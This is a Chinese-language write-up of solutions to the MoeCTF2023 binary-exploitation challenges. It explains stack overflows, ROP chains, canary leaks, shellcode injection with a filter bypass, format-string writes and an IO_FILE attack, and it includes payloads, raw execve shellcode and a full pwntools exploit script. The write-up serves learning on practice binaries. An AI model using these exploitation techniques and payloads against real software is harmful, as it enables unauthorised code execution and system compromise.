MoeCTF2023 Pwn WriteUp

前言

今年暑假比较摆烂… 最后也没做完 MoeCTF 的 pwn 题, 只能赛后抽时间复现一遍. 复现一遍之后还是复习了不少知识点, 写一篇 wp 以作笔记.

题目复现

test_nc

连接即可.

baby_calculator

emmm 打一个交互就可以了.

fd

fd 即 file descripter, 又叫文件描述符, 它是一个抽象的指示符, 用一个非负整数表示.它指向了由系统内核维护的一个 file table 中的某个条目 ( entry ), 后者又指向储存文件真实地址的 inode table.

一般来说操作系统会为每个用户进程预留三个默认的 fd: stdin, stdout, stderr. 它们对应的非负整数值分别为 0, 1, 2. 之后的 fd 从 3 开始分配.

反编译得到核心代码:

fd = open("./flag", 0, 0LL);
new_fd = (4 * fd) | 0x29A;
dup2(fd, new_fd); // 将 new_fd 重定向到 fd
close(fd);
puts("Which file do you want to read?");
puts("Please input its fd: ");
__isoc99_scanf("%d", &input);
read(input, flag, 0x50uLL);
puts(flag);

只需要向 flag 中读入 ./flag 的内容, 也就是输入 new_fd 即可获取 flag.

fd = 3, new_fd = (4 * fd) | 0x29A = 12 | 0x29A = 670.

int_overflow

整数溢出, 由于 32 位整型的最大值为 $2^{32}-1$, 大于最大值的数据会从 4 字节处截断, 利用这个特性可以构造输入.

ret2text_32

通过 IDA 可以看到程序明显存在栈溢出漏洞,覆盖返回地址到 b4ckdoor 中的 system 函数,IDA 中的 string 窗口也可以看到 binsh 字符串。再根据 x86 函数调用知识, 函数通过栈传递参数。

payload = b'a' * 0x5c + p32(system_addr) + p32(0x1) + p32(binsh_addr)

ret2text_64

与 x86 不同,x86-64 通过寄存器传参,前 6 个参数分别在 rdi, rsi, rdx, rcx, r8, r9 中. 通过ROPgadget可以查找 pop_rdi_ret 的地址.

payload = b'a' * 0x58 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)

uninitialized_key

考察对内存的理解. 当一个程序运行于用户进程中时, 系统会分配一个虚拟内存空间, 内存里每个字里的数值并不会被初始化.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  welcome();
  get_name();
  get_key();
  return 0;
}

在 main 函数里, 调用 get_name 前会给 rsp 减去一定值以分配栈空间, 回收时会直接给 rbp 加上对应的数值回收. 调用 get_key 时分配完栈空间后并不会初始化栈, 于是 get_name 里栈上的数值会一直保留.

注意到 get_name 里的 age 和 get_key 里的 key 都是 rbp-0xC, 因此如果想覆盖 key 为 114514, 只需要提前将 age 覆写为 114514 即可.

uninitialized_key_plus

与上道题目略有不同, 这次 get_name 的 age 是一个长度为 24 的字符串, 字符串的起始地址为 rbp-0x20, 而 key 仍然为 rbp-0xC, 因此需要将前 (0x20 - 0xC) 个字节设置为 padding, 最后 4 个字节放置 114514.

注意: 不可以图省事把最后 8 个字节用 p64(114514) 处理, 这是因为根据小端序, 最终实际得到的 rbp-0xC 全为 0.

payload = 8 * b'a' + 8 * b'c' + 4 * b'b' + p32(114514)

ret2libc

没有给 libc, 但是可以通过 puts 函数得到 puts@got_addr, 从而确定 libc 版本, 进而得到 libc_base, 然后构造 system getshell.

确定 libc 版本可以使用 LibcSearcher.

如果栈不对齐可以通过加一个 ret 滑板解决.

ret2syscall

通过 ROPgadget 查看需要的 gadget, 然后根据 x86-64 下函数调用栈规则构造 execve("/bin/sh", 0, 0), 注意 execve 的系统调用号是 0x3b.

payload = b'a' * (64 + 8) + p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(pop_rsi_rdx_ret_addr) + p64(0) + p64(0) + p64(pop_rax_ret_addr) + p64(59) + p64(syscall_addr)

PIE

题目虽然打开了 PIE 对代码段进行了地址随机化, 但是由于给出了 vuln_addr, 可以得到 PIE_base, 进而可以确定程序运行时其他各个函数的实际地址, 再构造 system 函数调用栈即可.

由于这道题目有 call system 这种 gadget, 所以 payload 更容易构造了:

payload = b'a' * 80 + b'bbbbbbbb' + p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(call_system_addr)

little_canary

这道题目打开了 canary 保护, 但是由于程序会直接打印紧挨着 canary 的 buf, 而 read buf 又存在溢出, 因此可以通过 buf 覆盖 canary 的最低一字节的 \x00, 继而 printf 时会直接把 canary 的其余 7 字节打印出来.

得到了 canary, 这道题目的其余部分和 ret2libc 便别无二致.

注意: lead canary 时只需要 sendline(b'a' * 72), 字节流第 73 位就是 0xa (即换行符).

rePWNse

简单读一下, 发现 makebinsh 函数只有在 7 个变量满足特定的条件时才可以拼接为 "/bin/sh", 并且会给出这个字符串的地址. 据此得到一个 7 元一次方程组, z3 求解即可.

得到了 "/bin/sh", 同时在函数列表里看到一个 action 函数, 已经基本构造好了 execve 的函数调用栈, 利用栈溢出传入 "/bin/sh" 后直接调用皆可.

shellcode_level0

打一个 COP. 程序没有打开 NX 保护, 也就是说栈可执行. 并且程序逻辑是读入一个 buf, 然后 call buf, 那么直接给 buf 发送一个 shellcode 即可.

payload = asm(shellcraft.sh())

shellcode_level1

char shellcode[100]; // [rsp+30h] [rbp-F0h] BYREF
char paper2[100]; // [rsp+A0h] [rbp-80h] BYREF
memset(shellcode, 0, sizeof(shellcode));
memset(paper2, 0, sizeof(paper2));
paper3 = malloc(0x64uLL);
paper4 = mmap(0LL, 0x64uLL, 3, 34, -1, 0LL);
paper5 = mmap(0LL, 0x64uLL, 7, 34, -1, 0LL);

程序开了 NX, 那么内存空间开在栈上的 shellcode[100]paper2[100] 由于没有可执行权限, 自然不能使用. 而 paper3malloc 在堆上的, 也没有执行权限, 也不能使用.

目光落在了 paper4paper5 上, 这两个东西的主要区别就在于前者的 mprotect 赋予了可读可写可执行, 而后者则什么都没有.

mprotect(paper4, 0x1000uLL, 7);
mprotect(paper5, 0x1000uLL, 0);

那么就先 choose 4, 然后发个 shellcode 过去即可.

shellcode_level2

.text:000000000000123C 48 8D 45 90                   lea     rax, [rbp+s]
.text:0000000000001240 0F B6 00                      movzx   eax, byte ptr [rax]
.text:0000000000001243 84 C0                         test    al, al
.text:0000000000001245 74 16                         jz      short loc_125D

ida 打开, 简单阅读汇编代码可以得知, 如果输入的字符串 s 的最低位不为 0, 则会将整个 shellcode memset.

据此, 往原先有的 payload 后面加个 \x00 即可.

payload = b'\x00' + asm(shellcraft.sh())

注意小段序的性质: 为了使 rax 内存低位为 0, 那么字符串 s 的内存低位就为 0, 那么 payload 的内存低位就应该为 0, 那么 payload 的数值高位就为 0. 故 \x00 在最开头.

shellcode_level3

首先 checksec 分析题目, 注意到程序关闭了 PIE 函数地址随机化, 并且 ida 反编译可以查看得存在后门函数 givemeshell.

int __cdecl main(int argc, const char **argv, const char **envp)
{
    puts("5 bytes ni neng miao sha wo?");
    mprotect(&GLOBAL_OFFSET_TABLE_, 0x1000uLL, 7);
    gets(&code);
    memset(&unk_40408E, 0, 0xF72uLL);
    (code)();
    return 0;
}

程序逻辑大概是向 .bss 段上的全局变量 code 读入一段不定长度的数据, 但是进一步分析可得知实际可以利用的长度只有 5 bytes, 这是因为程序里的 memset 会把 code+5 之后的所有内容清空, 故可以利用的大小只有 5 bytes.

不过我们的 givemeshell 函数地址固定为 0x4011D6 为 3 bytes, 所以是绰绰有余的.

需要注意的地方是, 由于 call 指令跳转时使用的是相对偏移量, 所以实际上需要填入的地址是 code_addr - givemeshell_addr, 但是又因为 python 理论上是没有数据范围的, 也就是说 python 没有最高位这个说法, 所以我们需要手动把得到的负数转为对应的 4 字节数字, 也就是 0xffffffff & (givemeshell_addr - code_addr).

changeable_shellcode

checksec 分析题目, 注意到保护全开, 只能利用题目中现有的内容构造 payload.

输入的 shellcode 会被复制到 0x11451400 这个位置, 看似很简单设置 payload 为 shellcode 即可, 但是由于 filter 函数过滤了所有 shellcode 必有的 \xf\x5, 因此直接输入裸的 shellcode 会被 ban 掉.

考虑一种绕过方式是把 shellcode 中已有的 \xf 或者 \x5 两者之一修改掉, 绕过输入判断后执行 shellcode 时再改回来, 即可 get shell.

为了方便期间, 确定 shellcode 中替换掉 \x5\x00, 然后再在 shellcode 前加入 asm 修改 \x00 的位置为 \x5. 现在的问题在于如何确定 \x5 的位置. 根据小端序的知识, shellcode 的 “数值低位” 应该在 “内存高位”, 具体位置通过动态调试两次即可确定.

payload 构造方法如下:

shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x00"

payload = asm(
    """
    mov al, 0x05
    mov [0x114514025], al
    """
)

payload += shellcode

注意: 尽量使用 \x05 含量少且位置易于确定的 shellcode, 虽然不影响正确性, 但是可能增加调试时间.

format_level0

格式化字符串入门题目, 考点是通过格式化字符串泄漏栈上的内容.

payload = b"%p%p%p%p%p%p%p%p%p%p%p%p%p"

format_level1

先说非预期解, 根据题目设定, 只需要主人公的 HP 和攻击力都高于龙, 沉淀上 114514 次就应该能过, 不过就是脚本跑着比较慢.

预期解/考点是: 通过格式化字符串漏洞, 将龙的 HP 修改为极小值, 从而缩减过关时间.

payload 有两种构造方式: 将龙的 HP 变量的地址放在内存低地址或内存高地址.

两种构造方式都可以对, 只需要保证字节对齐以免夹断即可.

### 32 位下两种构造方式
payload = p32(dragon_hp_addr) + b'%7$n'
payload = b"aaaa%9$n" + p32(dragon_hp_addr)

format_level2

与上一道题目基本类似, 只是游戏胜利后不会调用 success 函数了, 因此需要转换思路.

首先, 考虑修改 printf@gotsuccess@got 的方法, 发现这是不可能的, 因为 str 每次 read 的长度只有 16 bytes, 不可能在一个 str 里完成修改 (一次输出空格的方式由于输出量过大很难成功, 而修改两次的方式又会因为第二次 printfprintf@got 已被局部修改而失败), 因此这个利用思路没有可实现性;

其次, 考虑修改 ret_addr 为 success_addr 实现劫持程序控制流, 可以利用的 ret_addr 有两个, 分别是 game_ret_addr 和 main_ret_addr, 两个返回地址都可以使用.

具体来讲, 由于同一个函数调用栈中两个变量的相对偏移是固定的, 因此可以泄漏任意栈地址, 加上通过 gdb 调试得到的 offset 确定返回地址的位置. 然后将返回地址放在栈上, 使用 %hhn 修改即可, 构造方式可以参考 level1.

format_level3

考点: 不在栈上的格式化字符串

之前没做过这个考点的题目, 趁着这次机会好好学一下…. 首先要清楚不在栈上的格式化字符串题目的难点在哪里? 可以控制的字符串变量在栈上和在 .bss 段上产生了怎样的区别呢?

停下来思考.

问题主要出在使用格式化字符串 %hhn 写入数据上, 回想前两道题目的做法, 由于输入的字符串变量在栈上, 我们只需要良好的布局 payload, 即可控制栈上的数据为我们想要修改的地址, 再计算出该数据与格式化字符串的 offset, 通过 %offset$hhn 这种形式就可以修改该数据或该数据指向的数据 (如果有的话).

然而, 如果可控的字符串不在栈上, 我们无法有效的布局栈, 无法计算 offset (因为用到这个字符串的时候只是会在栈上复制一个引用)以修改返回地址或者函数的 got 表, 导致无法利用.

不过根据 %n 的特性, 如果格式化字符串指向的栈上的数据可以被再次解引用, 那么会对二次解引用的数据进行修改.

也就是说,

03:000c│ 0xffffd61c —▸ 0x804963e (talk+16)

这种栈结构可以直接把这里的 0x804963e 修改.

06:0018│ ebp 0xffffd628 —▸ 0xffffd648 —▸ 0xffffd658 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40

这种栈结构可以通过 %n 修改 0xffffd658 的数值, 但是无法修改它之前或之后的数据.

根据以上的特性, 我们再来看看这个栈:

00:0000│ esp  0xffffd610 —▸ 0x804c01c (str) ◂— 0xa /* '\n' */
... ↓
02:0008│      0xffffd618 ◂— 0x10
03:000c│      0xffffd61c —▸ 0x804963e (talk+16) ◂— add    ebx, 297ah
04:0010│      0xffffd620 —▸ 0x804a231 ◂— 0x47006425 /* '%d' */
05:0014│      0xffffd624 —▸ 0x804bfb8 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bec0 (_DYNAMIC) ◂— 0x1
06:0018│ ebp  0xffffd628 —▸ 0xffffd648 —▸ 0xffffd658 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— ...
07:001c│      0xffffd62c —▸ 0x8049737 (game+121) ◂— jmp    804975ah
08:0020│      0xffffd630 —▸ 0xf7faed00 (_IO_2_1_stderr_) ◂— 0xfbad2087
09:0024│      0xffffd634 ◂— 0x0
0a:0028│      0xffffd638 ◂— 0x3
0b:002c│      0xffffd63c ◂— 0x3ac4d800
0c:0030│      0xffffd640 ◂— 0x1
0d:0034│      0xffffd644 —▸ 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
0e:0038│      0xffffd648 —▸ 0xffffd658 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0
0f:003c│      0xffffd64c —▸ 0x8049784 (main+30) ◂— mov    eax, 0

那么我们只需要应用这个原理构造栈就好了:

将 offset 为 6 处对地址解二次引用的 0xffffd658 修改为 gamereturn address 0xffffd64c, 于是 offset 为 0x0e 处的栈会变为

0e:0038│ 0xffffd648 —▸ 0xffffd64c —▸ 0x8049784 (main+30) ◂— mov eax, 0

那么再次应用这个原理, 修改 0x0e 处栈帧的数据时就可以直接控制返回地址为 success_addr.

feedback

考点: IO_FILE

先用 checksec 检查一下程序保护, 发现保护全开. 再用 ida 反编译, 发现程序存在一个比较明显的数组指针越界.

参考一下 CTF-wiki 上关于 IO_FILE 的讲解, 由于数组指针 feedback_list 在 .bss 上, 而 stdout@glibc 也在 .bss 上, 那么就可以通过数组下溢出控制到 stdout@glibc 指针, 由于 printf 输出是走 stdout 的, 所以通过控制 vtable 参数即可做到任意地址读.

这里我们读出 stdin 的地址后, 减去 libc.symbols["IO_2_1_stdin"] 即可得到 libc base.

再根据 libc base 可以求出 puts@got, 从而得到 flag 加载的地址.

exp:

from pwn import *

proc = "./feedback"
context.log_level = "debug"
context.binary = proc

parent_path = "/home/flower/CTFhub/Contests/MoeCTF2023-PWN/feedback/"
io = process([parent_path + 'ld-2.31.so',parent_path + 'feedback'], env = {'LD_PRELOAD' : parent_path + 'libc-2.31.so'})
elf = ELF(proc)
libc = ELF("libc-2.31.so")

if args.G:
    gdb.attach(io)

def feedback(index: int, content: bytes) -> None:
    io.recvuntil(b"write?", drop=True)
    io.sendline(str(index).encode())
    io.recvuntil(b"feedback.", drop=True)
    io.sendline(content)

payload1 = flat([0xfbad1800, 0, 0, 0]) + b"\x00"
feedback(-8, payload1)
stdin_addr = u64(io.recvuntil(b"\x7f", drop=False)[-6:].ljust(8, b"\x00"))
log.info(f"stdin_addr ===> {hex(stdin_addr)}")

libc_addr = stdin_addr - libc.symbols["_IO_2_1_stdin_"]
log.info(f"libc_addr ===> {hex(libc_addr)}")

flag_addr = libc_addr + libc.symbols['puts'] + 0x16d2e0

payload2 = flat([0xfbad1800, 0, 0, 0, flag_addr, flag_addr + 0x50])
feedback(-8, payload2)

io.interactive()

总结

这次 Moe 复现还是补充了一些细微的知识点的, 以后打 pwn 需要注意的点有:

  • linux 文件描述符
  • 栈不会被初始化
  • call 指令跳转时使用的是相对偏移量
  • 注意字节序在构造 payload 时的影响
  • 手写特殊的 shellcode 的能力
  • 数组指针越界漏洞 (下溢或者上溢)